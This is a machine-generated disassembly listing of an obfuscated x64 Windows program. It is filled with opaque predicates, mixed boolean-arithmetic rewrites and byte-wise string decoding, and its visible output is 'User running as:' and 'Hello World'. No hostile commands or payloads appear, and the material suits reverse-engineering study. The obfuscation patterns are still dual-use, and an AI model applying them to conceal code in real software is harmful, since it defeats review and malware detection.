mov rdx, qword [rbp + 0x47c8]
and r8, rdx
xor edx, edx
sub rdx, rcx
xor ecx, ecx
sub rcx, r8
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
mov qword [rbp + 0x480], rcx
cmp eax, 0xf56ce0ba
ja 0x1400f3199
mov eax, dword [0x1401416a4]
mov edx, dword [0x1401416a8]
mov ecx, eax
and ecx, edx
shl ecx, 1
add eax, edx
sub eax, ecx
add eax, 0x7b16c324
add eax, 0x9229823a
add eax, 0x62150e9f
sub eax, 0x9229823a
sub eax, 0xf3d2aca1
cmp eax, 0x5d1b57f5
je 0x1400f319e
mov rdx, qword [rbp + 0x480]
mov rcx, qword [rbp + 0x488]
mov eax, dword [0x1401416ac]
sub eax, dword [0x1401416b0]
mov r8d, eax
add r8d, 1
xor eax, 0xffffffff
or eax, 0x77a6b871
add eax, r8d
mov r9d, eax
xor r9d, 0xffffffff
and r9d, 0x44581231
mov r8d, eax
and r8d, 0xbba7edce
imul r8d, r9d
mov r9d, eax
and r9d, 0x44581231
or eax, 0x44581231
imul eax, r9d
add eax, r8d
mov r9d, eax
xor r9d, 0xffffffff
and r9d, 0xbe7f1772
mov r8d, eax
and r8d, 0x4180e88d
imul r8d, r9d
mov r9d, eax
and r9d, 0xbe7f1772
or eax, 0xbe7f1772
imul eax, r9d
add eax, r8d
sub rcx, rdx
mov qword [rbp + 0x47b8], rcx
mov rcx, qword [rbp + 0x47b8]
movabs rdx, 0x55de51ed94cd77b0
sub rcx, rdx
mov byte [rbp + 0x137e], cl
cmp eax, 0x439ed23e
jb 0x1400eb606
jmp 0x1400ea107
mov eax, dword [0x1401416b4]
add eax, dword [0x1401416b8]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or ecx, 0x9c6a1ee0
xor eax, 0xffffffff
or eax, 0x6395e11f
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
or eax, 0x15926a36
xor eax, 0xffffffff
and ecx, 0xea6d95c9
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0x5ef68f01
cmp eax, 0xa5040ca2
je 0x1400f31dd
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0x478], rax
mov eax, dword [0x1401416c4]
mov edx, dword [0x1401416c8]
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, edx
add eax, ecx
xor eax, 0x1b3614f1
imul eax, eax, 0x9af42b1
add eax, 0xfe4e5bf7
add eax, 1
cmp eax, 0xd787ca48
ja 0x1400f31e2
mov eax, dword [0x1401416cc]
xor edx, edx
div dword [0x1401416d0]
and eax, 0xeaefdf86
xor eax, 0xf4ad83c2
imul eax, eax, 0x266ad1bc
mov dword [rbp + 0x46c], eax
lea rcx, [rbp + 0x47e0]
lea rdx, [0x140135cc0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0x46c]
cmp eax, 0x47399bdd
jb 0x1400eb76e
mov rax, qword [rbp + 0x470]
mov rcx, qword [rbp + 0x478]
mov r8, qword [rbp + 0x4810]
mov rdx, rcx
and rdx, r8
shl rdx, 1
xor rcx, r8
add rcx, rdx
cmp rax, rcx
jne 0x1400eb9a2
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x48c8], rcx
mov byte [rbp + 0x48c7], al
mov eax, dword [0x1401416e4]
xor ecx, ecx
sub ecx, dword [0x1401416e8]
add eax, ecx
mov ecx, 0x9dd5befc
xor edx, edx
div ecx
and eax, 0x65a0af23
xor eax, 0xcaff5a7e
cmp eax, 0x915125b5
jb 0x1400f3200
mov ecx, dword [0x1401416ec]
mov edx, dword [0x1401416f0]
mov eax, ecx
and eax, edx
or ecx, edx
add eax, ecx
mov ecx, eax
and ecx, 0x53bf7f1d
xor eax, 0x53bf7f1d
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xb165f1e
and ecx, 0xf4e9a0e1
or eax, ecx
sub eax, 0x6478a7fa
sub eax, 0xf023e588
add eax, 0x6478a7fa
movzx ecx, byte [rbp + 0x48c7]
mov qword [rbp + 0x48b8], rcx
mov rcx, qword [rbp + 0x48c8]
movabs rdx, 0x80b397f5aa1fb24a
sub rcx, rdx
movabs rdx, 0x764829f42dcce5a6
add rcx, rdx
movabs rdx, 0x80b397f5aa1fb24a
add rcx, rdx
mov qword [rbp + 0x48b0], rcx
mov rcx, qword [rbp + 0x48b8]
add rcx, qword [rbp + 0x48b0]
mov rdx, qword [rbp + 0x48b8]
mov r9, qword [rbp + 0x48b0]
xor r9, 0xffffffffffffffff
mov r8, rdx
xor r8, r9
and r8, rdx
mov rdx, qword [rbp + 0x48b0]
and rdx, qword [rbp + 0x48b8]
add r8, rdx
mov rdx, rcx
xor rdx, 0xffffffffffffffff
and rdx, r8
xor r8, 0xffffffffffffffff
and rcx, r8
sub rcx, rdx
mov qword [rbp + 0x48a8], rcx
mov rcx, qword [rbp + 0x48a8]
mov rdx, rcx
xor rdx, 0xffffffffffffffff
movabs r8, 0x3bf925ad409a478a
and rdx, r8
movabs r8, 0xc406da52bf65b875
and rcx, r8
sub rcx, rdx
mov qword [rbp + 0x460], rcx
cmp eax, 0x4c6e4b85
ja 0x1400f3200
mov ecx, dword [0x1401416f4]
and ecx, dword [0x1401416f8]
xor ecx, 0xb6224e05
sub ecx, 0x830198d4
add ecx, 0xcecf3fe7
add ecx, 0x830198d4
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa6e673fd
and ecx, 0x59198c02
or eax, ecx
xor eax, 0x9ca0f9cd
cmp eax, 0x82535b4c
je 0x1400f327d
mov rax, qword [rbp + 0x460]
mov byte [rbp + 0x137e], al
jmp 0x1400ea1d2
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0x458], rax
mov eax, dword [0x140141714]
xor edx, edx
div dword [0x140141718]
mov edx, eax
and edx, 0xcb8688ad
mov ecx, eax
or ecx, 0xcb8688ad
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x34797752
or eax, 0x34797752
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
or eax, 0xb4f8b282
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0x433c5723
xor ecx, 0xffffffff
add eax, 0x433c5723
add eax, 1
add eax, ecx
cmp eax, 0xce41b561
ja 0x1400f328f
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0x448], rax
lea rcx, [rbp + 0x48d0]
lea rdx, [0x140135d90]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x48d0]
add rax, 0x88
mov qword [rbp + 0x450], rax
mov eax, dword [0x140141724]
imul eax, dword [0x140141728]
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7bdee751
mov ecx, eax
and ecx, 0x842118ae
imul ecx, edx
mov edx, eax
and edx, 0x7bdee751
or eax, 0x7bdee751
imul eax, edx
add eax, ecx
imul eax, eax, 0x31384275
xor ecx, ecx
sub ecx, eax
add ecx, 0x4bc2fc01
xor eax, eax
sub eax, ecx
cmp eax, 0x7f8c45bf
jbe 0x1400f32ad
mov rcx, qword [rbp + 0x458]
mov rdx, qword [rbp + 0x448]
mov r8, qword [rbp + 0x450]
mov eax, dword [0x14014172c]
sub eax, dword [0x140141730]
imul eax, eax, 0x4a48b885
or eax, 0x3f5a9c9e
xor r9d, r9d
sub r9d, eax
add r9d, 0x600f1878
xor eax, eax
sub eax, r9d
mov r8, qword [r8]
movabs r9, 0x4b5f08ff8c73eba2
add rdx, r9
add rdx, r8
movabs r8, 0x4b5f08ff8c73eba2
sub rdx, r8
cmp rcx, rdx
sete cl
mov byte [rbp + 0x447], cl
cmp eax, 0xcca24a89
jbe 0x1400ebaa0
mov eax, dword [0x140141e14]
sub eax, dword [0x140141e18]
xor ecx, ecx
sub ecx, eax
add ecx, 0xb2011f07
xor eax, eax
sub eax, ecx
sub eax, 0xe797a54
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xecdf963e
and eax, 0x132069c1
sub eax, ecx
cmp eax, 0x459027b7
jbe 0x1400f3daa
mov rax, qword [rbp + 0x1380]
mov qword [rbp], rax
mov eax, dword [0x140141e24]
xor edx, edx
div dword [0x140141e28]
imul eax, eax, 0xd8a8a420
sub eax, 0xef2fb0bd
xor eax, 0xffffffff
or eax, 0x93ba9938
xor eax, 0xffffffff
cmp eax, 0x3ded05a0
ja 0x1400f3daf
mov rcx, qword [rbp]
mov eax, dword [0x140141e2c]
xor eax, dword [0x140141e30]
mov edx, eax
and edx, 0x792d43f4
mov r8d, eax
xor r8d, 0x86d2bc0b
add eax, r8d
sub eax, edx
add eax, 0xa02aed93
add eax, 0xea6a2639
add rcx, 0x1668be4
mov qword [rbp - 8], rcx
cmp eax, 0x3fe50928
jb 0x1400f3daf
mov rcx, qword [rbp - 8]
mov edx, dword [0x140141e3c]
mov r8d, dword [0x140141e40]
mov eax, edx
xor eax, 0xffffffff
mov r9d, r8d
xor r9d, 0xffffffff
or eax, r9d
xor edx, 0xffffffff
xor r8d, 0xffffffff
or edx, r8d
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and eax, 0xc86f9454
add eax, 0xde17cebd
mov edx, eax
xor edx, 0xffffffff
and edx, 0x89d4bf3b
and eax, 0x762b40c4
sub eax, edx
mov qword [rbp + 0x1388], rcx
cmp eax, 0x3b85bbf3
jbe 0x1400f3db4
jmp 0x1400f0968
mov eax, dword [0x140141e44]
mov edx, dword [0x140141e48]
mov r8d, eax
xor r8d, edx
xor r8d, 0xffffffff
mov ecx, edx
and ecx, r8d
shl ecx, 1
sub ecx, edx
sub eax, ecx
mov ecx, eax
and ecx, 0x24c4cdff
xor ecx, 0xffffffff
add eax, 0x24c4cdff
add eax, 1
add eax, ecx
add eax, 0x9865f01
and eax, 0xd38edd85
cmp eax, 0xa73ba24b
jae 0x1400f3dc4
mov eax, dword [0x140141e4c]
sub eax, dword [0x140141e50]
imul edx, eax, 0xd3b29d8e
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0xf37fe10c
and edx, 0xc801ef3
or eax, edx
xor eax, 0x3b4c0075
or ecx, 0x37cc1e86
xor ecx, 0xffffffff
or eax, ecx
add eax, 0x85c0fce0
sub eax, 0xbaf43ab8
sub eax, 0x85c0fce0
mov rcx, qword [rbp + 0x1380]
add rcx, 0xd9bf4f
mov qword [rbp - 0x10], rcx
cmp eax, 0x2553564b
jb 0x1400f3dc4
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x1388], rax
mov eax, dword [0x140141e54]
or eax, dword [0x140141e58]
and eax, 0x79e5c78d
and eax, 0x37398e72
add eax, 0xa5eaa5b3
cmp eax, 0x8b767dac
jbe 0x1400f3dc9
jmp 0x1400f0968
mov ecx, dword [0x140141e64]
sub ecx, dword [0x140141e68]
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xf11c2bb5
mov eax, ecx
and eax, 0xee3d44a
imul eax, edx
mov edx, ecx
and edx, 0xf11c2bb5
or ecx, 0xf11c2bb5
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x4b903e25
or ecx, 0x4b903e25
xor eax, 0xffffffff
and eax, ecx
add eax, 0xc1bf93ef
cmp eax, 0x4d2453ec
je 0x1400f3dce
mov rax, qword [rbp + 0x1360]
add rax, 1
mov qword [rbp + 0x1360], rax
mov eax, dword [0x140141e74]
mov edx, dword [0x140141e78]
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0xacaa8602
xor eax, eax
sub eax, ecx
sub eax, 0x785c0138
mov ecx, eax
xor ecx, 0x41cf5203
xor ecx, 0xffffffff
and ecx, 0x41cf5203
shl ecx, 1
sub ecx, 0x41cf5203
sub eax, ecx
cmp eax, 0x98e241c
jb 0x1400f3dd3
mov eax, dword [0x140141e7c]
and eax, dword [0x140141e80]
xor eax, 0x68cb578d
imul eax, eax, 0xadcde531
imul eax, eax, 0x2ee511ba
cmp eax, 0xac462fae
jae 0x1400f3dd3
jmp 0x1400dfb39
mov eax, dword [0x140141e84]
mov edx, dword [0x140141e88]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, edx
xor edx, 0xffffffff
and eax, edx
sub eax, ecx
add eax, 0x79c51bfb
sub eax, 0x9e9412e2
sub eax, 0x79c51bfb
or eax, 0x605dedf5
and eax, 0xed54f6e3
cmp eax, 0x818b7f3
jb 0x1400f3dd8
mov eax, dword [0x140141e8c]
add eax, dword [0x140141e90]
mov ecx, 0x3ba83920
xor edx, edx
div ecx
mov edx, eax
or edx, 0x37c7ad34
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x66e7b0e2
and edx, 0x99184f1d
or eax, edx
xor eax, 0x87530f
or ecx, 0x999f1c12
xor ecx, 0xffffffff
or eax, ecx
mov rcx, qword [rbp + 0x1380]
mov qword [rbp - 0x18], rcx
cmp eax, 0x76a08051
jb 0x1400f088b
mov rcx, qword [rbp - 0x18]
mov eax, dword [0x140141e9c]
xor edx, edx
div dword [0x140141ea0]
and eax, 0x73dfc485
xor eax, 0x66d1948a
mov r8d, eax
and r8d, 0x1596cd51
mov edx, eax
or edx, 0x1596cd51
xor edx, 0xffffffff
imul edx, r8d
mov r8d, eax
and r8d, 0xea6932ae
or eax, 0xea6932ae
imul eax, r8d
add eax, edx
mov qword [rbp + 0x1388], rcx
cmp eax, 0xa643c1ad
jbe 0x1400f08e2
mov eax, dword [0x140141ea4]
xor eax, dword [0x140141ea8]
mov ecx, 0xc53411c8
xor edx, edx
div ecx
sub eax, 0x388825e0
add eax, 0xd3d98513
cmp eax, 0x71bcf675
jb 0x1400f3ddd
mov rdx, qword [rbp + 0x1388]
lea rcx, [rbp + 0xfd0]
mov qword [rbp - 0x28], rcx
call fcn.1400f4d80
mov rcx, qword [rbp - 0x28]
call fcn.14012e1e0
mov dword [rbp - 0x1c], eax
jmp 0x1400f0990
mov eax, dword [0x140141eb4]
sub eax, dword [str.h_:_tOu]
mov ecx, eax
xor ecx, 0x8b0779b6
and eax, 0x74f88649
shl eax, 1
sub eax, ecx
imul ecx, eax, 0xc123377a
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3d1145c9
and ecx, 0xc2eeba36
or eax, ecx
xor eax, 0xc7345901
cmp eax, 0xfb19bacd
jae 0x1400f3de2
mov eax, dword [0x140141ebc]
mov r8d, dword [0x140141ec0]
mov r9d, r8d
xor r9d, 0xffffffff
mov edx, eax
and edx, r9d
mov ecx, eax
or ecx, r9d
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x17908ede
xor eax, eax
sub eax, ecx
add eax, 0x6d6d5ecd
add eax, 1
mov edx, eax
xor edx, 0xffffffff
and edx, 0x71265b7d
mov ecx, eax
and ecx, 0x8ed9a482
imul ecx, edx
mov edx, eax
and edx, 0x71265b7d
or eax, 0x71265b7d
imul eax, edx
add eax, ecx
mov dword [rbp - 0x2c], eax
lea rcx, [rbp + 0xfd0]
call fcn.1400f4fc0
mov eax, dword [rbp - 0x2c]
cmp eax, 0x19aa8243
jb 0x1400f3de2
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0xff0], eax
lea rcx, [rbp + 0xf88]
call fcn.1401240b0
mov eax, dword [rbp + 0xff0]
mov dword [rbp - 0x30], eax
mov eax, dword [0x140141ed4]
sub eax, dword [0x140141ed8]
add eax, 0xc5e7215f
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xf5f01535
add eax, ecx
add eax, 0xe48bf38e
sub eax, 0xb8f2162a
sub eax, 0xe48bf38e
cmp eax, 0x56dfc98
je 0x1400f3df3
mov ecx, dword [0x140141edc]
mov edx, dword [0x140141ee0]
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
sub eax, 0xe7460da6
add eax, 0xd5c86d73
mov edx, eax
xor edx, 0xffffffff
and edx, 0x62f2e4cf
mov ecx, eax
and ecx, 0x9d0d1b30
imul ecx, edx
mov edx, eax
and edx, 0x62f2e4cf
or eax, 0x62f2e4cf
imul eax, edx
add eax, ecx
cmp eax, 0x28a518a0
jb 0x1400f3df3
mov ecx, dword [rbp - 0x30]
lea rdx, [rbp + 0xf88]
call fcn.1400da0a0
mov byte [rbp - 0x31], al
jmp 0x1400f0b22
mov eax, dword [0x140141ee4]
mov ecx, dword [0x140141ee8]
xor ecx, 0xffffffff
sub ecx, 0xffffffff
sub eax, ecx
add eax, 0xacfd1946
add eax, 0x6887515a
sub eax, 0xacfd1946
sub eax, 0x36d189fc
sub eax, 0xd3450c31
add eax, 0x36d189fc
sub eax, 0x595db98d
cmp eax, 0x340c9e71
je 0x1400f3df8
mov al, byte [rbp - 0x31]
test al, 1
jne 0x1400f0b74
jmp 0x1400f0d22
mov eax, dword [0x140141ef4]
xor edx, edx
div dword [str._Xhs]
mov ecx, eax
xor ecx, 0x5f91677b
and eax, 0xa06e9884
shl eax, 1
sub eax, ecx
sub eax, 0xb97c0ec0
mov edx, eax
and edx, 0x3e1bfa40
mov ecx, eax
or ecx, 0x3e1bfa40
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc1e405bf
or eax, 0xc1e405bf
imul eax, edx
add eax, ecx
cmp eax, 0x8dcbd64
je 0x1400f3dfd
mov eax, dword [0x140141efc]
mov edx, dword [0x140141f00]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0xadb191e
sub eax, 0xb8cb910b
add eax, 0xadb191e
xor eax, 0xffffffff
or eax, 0xb8d9ff51
xor eax, 0xffffffff
add eax, 0x3ee0b1aa
cmp eax, 0xa3f72bea
ja 0x1400f3dfd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.User_running_as:
call fcn.1400f5b30
mov qword [rbp - 0x40], rax
jmp 0x1400f0c2b
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp + 0xf88]
call fcn.1400f5600
mov qword [rbp - 0x48], rax
jmp 0x1400f0c44
mov eax, dword [0x140141f14]
xor edx, edx
div dword [0x140141f18]
sub eax, 0x906d8840
mov ecx, eax
and ecx, 0xc07aeaa2
mov edx, eax
xor edx, 0x3f85155d
add eax, edx
sub eax, ecx
mov ecx, eax
and ecx, 0x1e61b5e2
mov edx, eax
xor edx, 0xe19e4a1d
add eax, edx
sub eax, ecx
cmp eax, 0x4530bf8d
jbe 0x1400f3e02
mov eax, dword [0x140141f1c]
xor edx, edx
div dword [0x140141f20]
or eax, 0xa31219b9
mov ecx, 0xbdcda7e8
xor edx, edx
div ecx
add eax, 0x164e7402
sub eax, 0x4649dc67
sub eax, 0x164e7402
cmp eax, 0xef95dd5a
ja 0x1400f3e02
mov rcx, qword [rbp - 0x48]
lea rdx, [0x1400f7290]
call fcn.1401240d0
jmp 0x1400f0cd5
mov eax, dword [0x140141f2c]
mov edx, dword [0x140141f30]
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xa6cc6cb4
and eax, 0x5933934b
or ecx, eax
xor ecx, 0x636b4c61
mov eax, ecx
and eax, 0x73fdd18c
or ecx, 0x73fdd18c
add eax, ecx
cmp eax, 0xdabe74f
je 0x1400f0cd5
jmp 0x1400f0d22
mov rax, qword [0x140149600]
xor r9d, r9d
mov r8d, r9d
mov rcx, r8
mov rdx, r8
call rax
jmp 0x1400f0d3c
mov ecx, dword [0x140141f54]
mov edx, dword [0x140141f58]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
imul eax, eax, 0x6cd99e99
sub eax, 0xb344f3ce
imul eax, eax, 0xd1607ea1
cmp eax, 0xcd88c49c
je 0x1400f3e07
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Hello_World_n
call fcn.1401240f0
jmp 0x1400f0d84
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov eax, dword [0x140141f64]
and eax, dword [0x140141f68]
mov ecx, eax
and ecx, 0x26a94453
shl ecx, 1
add eax, 0x26a94453
sub eax, ecx
add eax, 0xa11c8f9c
add eax, 1
imul eax, eax, 0x3874e949
cmp eax, 0xc8a5e4a3
ja 0x1400f3e0c
mov dword [rbp + 0x1104], 0
lea rcx, [rbp + 0xf88]
call fcn.1400d60e0
mov eax, dword [rbp + 0x1104]
add rsp, 0x6720
pop rbp
ret
mov rax, qword [rbp + 0xf10]
mov byte [rax], 0
jmp 0x1400dea88
xor ecx, ecx
call fcn.140124090
mov rax, qword [rbp + 0xef8]
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0xe]
mov qword [rbp + 0x1278], 0xe
mov byte [rbp + 0x1277], cl
movzx ecx, byte [rbp + 0x1277]
movabs rdx, 0x730d69dfd5e667ed
add rcx, rdx
movabs r8, 0xa2b8c5fb67b3336b
add r8, qword [rbp + 0x1278]
mov rdx, rcx
and rdx, r8
shl rdx, 1
add rcx, r8
sub rcx, rdx
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0xf]
mov qword [rbp + 0x1268], 0xf
mov byte [rbp + 0x1267], cl
movzx ecx, byte [rbp + 0x1267]
movabs rdx, 0x730d69dfd5e667ed
add rcx, rdx
movabs rdx, 0xa2b8c5fb67b3336b
add rdx, qword [rbp + 0x1268]
xor rcx, rdx
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x10]
mov qword [rbp + 0x1258], 0x10
mov byte [rbp + 0x1257], cl
movzx ecx, byte [rbp + 0x1257]
mov edx, ecx
movabs r8, 0x730d69dfd5e667ed
mov rcx, rdx
and rcx, r8
movabs r8, 0x730d69dfd5e667ed
or rdx, r8
add rcx, rdx
movabs rdx, 0xea1588de9b304e95
add rdx, qword [rbp + 0x1258]
movabs r8, 0xa2b8c5fb67b3336b
add rdx, r8
movabs r8, 0xea1588de9b304e95
sub rdx, r8
xor rcx, rdx
mov byte [rax + 3], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x11]
mov qword [rbp + 0x1248], 0x11
mov byte [rbp + 0x1247], cl
movzx ecx, byte [rbp + 0x1247]
movabs rdx, 0x7a6b609fa0637fcf
add rcx, rdx
movabs rdx, 0x730d69dfd5e667ed
add rcx, rdx
movabs rdx, 0x7a6b609fa0637fcf
sub rcx, rdx
mov rdx, qword [rbp + 0x1248]
movabs r8, 0x5d473a04984ccc95
sub rdx, r8
xor rcx, rdx
mov byte [rax + 4], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x12]
mov qword [rbp + 0x1238], 0x12
mov byte [rbp + 0x1237], cl
movzx ecx, byte [rbp + 0x1237]
movabs rdx, 0x730d69dfd5e667ed
add rcx, rdx
mov rdx, qword [rbp + 0x1238]
movabs r8, 0x5d473a04984ccc95
sub rdx, r8
xor rcx, rdx
mov byte [rax + 5], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x13]
mov qword [rbp + 0x1228], 0x13
mov byte [rbp + 0x1227], cl
movzx ecx, byte [rbp + 0x1227]
movabs rdx, 0x730d69dfd5e667ed
add rcx, rdx
movabs rdx, 0xa2b8c5fb67b3336b
add rdx, qword [rbp + 0x1228]
xor rcx, rdx
mov byte [rax + 6], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x14]
mov qword [rbp + 0x1218], 0x14
mov byte [rbp + 0x1217], cl
movzx ecx, byte [rbp + 0x1217]
mov edx, ecx
movabs rcx, 0x730d69dfd5e667ed
add rdx, rcx
mov rcx, qword [rbp + 0x1218]
movabs r9, 0xa2b8c5fb67b3336b
mov r8, rcx
and r8, r9
movabs r9, 0xa2b8c5fb67b3336b
or rcx, r9
add r8, rcx
mov rcx, rdx
and rcx, r8
xor rdx, 0xffffffffffffffff
xor r8, 0xffffffffffffffff
and rdx, r8
or rcx, rdx
xor rcx, 0xffffffffffffffff
mov byte [rax + 7], cl
mov rax, qword [rbp + 0x1128]
mov al, byte [rax + 0x15]
mov qword [rbp + 0x1208], 0x15
mov byte [rbp + 0x1207], al
jmp 0x1400df245
mov rax, qword [rbp + 0xee0]
mov cl, byte [rbp + 0xeef]
mov byte [rax], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x16]
mov qword [rbp + 0x11f8], 0x16
mov byte [rbp + 0x11f7], cl
movzx ecx, byte [rbp + 0x11f7]
mov edx, ecx
movabs rcx, 0x730d69dfd5e667ed
add rdx, rcx
mov r8, qword [rbp + 0x11f8]
movabs rcx, 0xa2b8c5fb67b3336b
add r8, rcx
mov r9, rdx
xor r9, 0xffffffffffffffff
mov rcx, r8
and rcx, r9
xor r8, 0xffffffffffffffff
and rdx, r8
or rcx, rdx
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x17]
mov qword [rbp + 0x11e8], 0x17
mov byte [rbp + 0x11e7], cl
movzx ecx, byte [rbp + 0x11e7]
movabs rdx, 0x1a64e243e0605b80
sub rcx, rdx
movabs rdx, 0x730d69dfd5e667ed
add rcx, rdx
movabs rdx, 0x1a64e243e0605b80
add rcx, rdx
mov rdx, qword [rbp + 0x11e8]
movabs r8, 0x1ba1c252d2abad13
sub rdx, r8
movabs r8, 0xa2b8c5fb67b3336b
add rdx, r8
movabs r8, 0x1ba1c252d2abad13
add rdx, r8
xor rcx, rdx
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x18]
mov qword [rbp + 0x11d8], 0x18
mov byte [rbp + 0x11d7], cl
movzx ecx, byte [rbp + 0x11d7]
mov edx, ecx
xor ecx, ecx
sub rcx, rdx
movabs rdx, 0x8cf296202a199813
add rcx, rdx
xor edx, edx
sub rdx, rcx
movabs r8, 0xa2b8c5fb67b3336b
add r8, qword [rbp + 0x11d8]
mov rcx, rdx
and rcx, r8
or rdx, r8
xor rdx, 0xffffffffffffffff
or rcx, rdx
xor rcx, 0xffffffffffffffff
mov byte [rax + 3], cl
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x19]
mov qword [rbp + 0x11c8], 0x19
mov byte [rbp + 0x11c7], cl
movzx ecx, byte [rbp + 0x11c7]
movabs rdx, 0xb8a85d603c47d98f
sub rcx, rdx
movabs rdx, 0x730d69dfd5e667ed
add rcx, rdx
movabs rdx, 0xb8a85d603c47d98f
add rcx, rdx
mov r8, qword [rbp + 0x11c8]
movabs r9, 0xa2b8c5fb67b3336b
mov rdx, r8
and rdx, r9
movabs r9, 0xa2b8c5fb67b3336b
or r8, r9
add rdx, r8
xor rcx, rdx
mov byte [rax + 4], cl
jmp 0x1400df6d9
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1140], rax
mov rax, qword [rbp + 0x1140]
mov qword [rbp + 0x1380], rax
jmp 0x1400df971
jmp 0x1400df9c1
call fcn.140124c90
mov rax, qword [rax]
mov qword [rbp + 0x1368], rax
jmp 0x1400dfa66
jmp 0x1400dfb08
jmp 0x1400dfb5f
jmp 0x1400dfc02
mov al, byte [rbp + 0xebf]
mov byte [rbp + 0x137f], al
jmp 0x1400dfc53
jmp 0x1400dfcbb
jmp 0x1400dfd25
jmp 0x1400dfdf2
lea rcx, [rbp + 0x1390]
lea rdx, [0x140133010]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400dfe65
jmp 0x1400dfeb0
jmp 0x1400dff00
mov rax, qword [rbp + 0xe78]
mov rcx, qword [rbp + 0xe80]
mov rdx, qword [rbp + 0xe88]
xor rdx, 0xffffffffffffffff
sub rdx, 0xffffffffffffffff
sub rcx, rdx
sub rax, rcx
mov qword [rbp + 0x1460], rax
mov rax, qword [rbp + 0x1460]
movabs rcx, 0x730d69dfd5e667ed
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e0067
lea rcx, [rbp + 0x14b0]
lea rdx, [0x1401330e0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e0168
jmp 0x1400e01f8
mov rax, qword [rbp + 0x1360]
mov qword [rbp + 0x1598], rax
jmp 0x1400e023f
mov al, byte [rbp + 0xe67]
mov byte [rbp + 0x1597], al
movzx eax, byte [rbp + 0x1597]
mov qword [rbp + 0x1588], rax
jmp 0x1400e0282
jmp 0x1400e03c6
lea rcx, [rbp + 0x15a0]
lea rdx, [0x1401331b0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e047c
mov al, byte [rbp + 0xe3f]
mov byte [rbp + 0x137e], al
jmp 0x1400e0665
jmp 0x1400e072a
jmp 0x1400e07c0
mov rax, qword [rbp + 0xe10]
mov qword [rbp + 0x1760], rax
jmp 0x1400e090e
mov rax, qword [rbp + 0xe08]
mov rcx, qword [rbp + 0x1768]
and rcx, qword [rbp + 0x1760]
mov rdx, qword [rbp + 0x1760]
and rdx, qword [rbp + 0x1768]
add rcx, rdx
xor rcx, 0xffffffffffffffff
add rax, rcx
add rax, 1
mov qword [rbp + 0x1758], rax
mov rax, qword [rbp + 0x1758]
movabs rcx, 0x255de51ed94cd77b
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e09ad
lea rcx, [rbp + 0x1780]
